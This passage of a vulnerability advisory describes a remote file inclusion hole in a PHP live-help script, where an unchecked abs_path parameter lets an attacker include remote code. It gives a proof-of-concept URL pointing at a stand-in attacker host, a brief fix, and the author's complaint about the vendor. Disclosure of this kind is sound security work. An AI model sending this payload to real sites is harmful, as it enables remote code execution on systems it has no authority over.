require_once $abs_path."/libsecure.php";
include_once $abs_path."/include/class.browser.php";
...
----------------------------------------------------------

Input passed to the "abs_path" parameter in global.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
~~~~~~~~~~~~~~~~~

http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?

Solution:
~~~~~~~~~
- Sanitize variable $abs_path on global.php.

Notification:
~~~~~~~~~~~~

I've been contacting the web/software administrator to tell about this hole in his system, but instead of giving  a nice 

response, he replied so rudely and arrogantly. I recommend not to use this product for your own sake.
